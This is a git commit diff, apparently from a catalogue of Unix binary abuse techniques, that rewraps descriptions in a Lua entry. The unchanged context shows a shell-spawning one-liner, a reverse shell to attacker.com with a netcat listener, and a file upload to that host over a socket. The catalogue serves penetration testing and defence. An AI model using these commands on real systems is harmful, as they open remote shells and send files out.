Fix lua descriptions

This commit is contained in:
Emilio Pinna 2018-07-22 14:12:20 +01:00
parent ef92163d03
commit 00a06edb07

View File

@ -3,8 +3,7 @@ functions:
execute-interactive: execute-interactive:
- code: lua -e 'os.execute("/bin/sh")' - code: lua -e 'os.execute("/bin/sh")'
reverse-shell-non-interactive: reverse-shell-non-interactive:
- description: Run <code>nc -l -p 12345</code> on - description: Run <code>nc -l -p 12345</code> on the attacker box to receive the shell. This requires `lua-socket` installed.
the attacker box to receive the shell. This requires `lua-socket` installed.
code: | code: |
export RHOST=attacker.com export RHOST=attacker.com
export RPORT=12345 export RPORT=12345
@ -28,8 +27,7 @@ functions:
local b=assert(f:read("*a"));c:send(b); local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();' end;c:close();f:close();'
upload: upload:
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires `lua-socket` installed.
on the attacker box to collect the file. This requires `lua-socket` installed.
code: | code: |
RHOST=attacker.com RHOST=attacker.com
RPORT=12345 RPORT=12345